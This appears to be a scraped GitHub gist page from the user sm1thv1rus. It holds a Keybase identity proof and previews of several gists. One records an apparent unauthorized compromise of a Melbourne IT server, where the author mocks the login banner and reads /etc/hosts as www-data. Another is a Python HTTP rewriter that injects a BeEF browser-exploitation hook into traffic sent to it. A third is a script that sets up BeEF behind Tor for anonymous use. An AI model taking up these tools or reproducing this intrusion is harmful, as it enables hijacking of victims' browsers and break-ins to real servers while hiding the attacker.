Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am brendanbeals on github.
  • I am sm1thv1rus (https://keybase.io/sm1thv1rus) on keybase.
  • I have a public key whose fingerprint is B798 F8C6 76C2 3D72 4897 418B D808 D92E 0677 3F1C

To claim this, I am signing this object:

@sm1thv1rus
sm1thv1rus / melbournecompromise.txt
Created August 30, 2013 20:33
MelBourneIT Compromise
Melbourne IT
Authorized uses only. All activity may be monitored and reported
> Oh, we arn't authorized users. Better leave then, I guess. However, before we go..
www-data@pandora$ cat /etc/hosts
#
# Internet host table
#
::1 localhost
127.0.0.1 localhost
@sm1thv1rus
sm1thv1rus / httprewriter.py
Last active December 21, 2015 02:28
HTTP Rewriter - Adds BeEF script to http traffic that is directed to it.
import argparse, random, socketserver, time, re
descript = "HTTP Server that rewrites requests that are sent to it.\nAdds a BeEF hook.\nMore features can be added in the future."
parser = argparse.ArgumentParser(description=descript)
parser.add_argument('--port', dest='port', action='store', default=8080, help='Port number. Default is 8080')
port = vars(parser.parse_args())['port']
intercepthost = 'localhost'
keepgoing = True;
@sm1thv1rus
sm1thv1rus / anonymousbeef.sh
Last active December 20, 2015 10:39
Sets up BeEF, and Tor to work with it. Designed for a live CD.
#!/bin/sh
mkdir anonymousbeef; cd anonymousbeef
sudo apt-get install git libsqlite3-dev ruby1.9.1 ruby1.9.1-dev build-essential
git clone https://github.com/beefproject/beef.git
cd beef
sudo gem install bundler eventmachine
sudo bundle install
UBUNTUCODENAME=`lsb_release -a | grep Codename | awk '{print $2}'`
unset UBUNTUCODENAME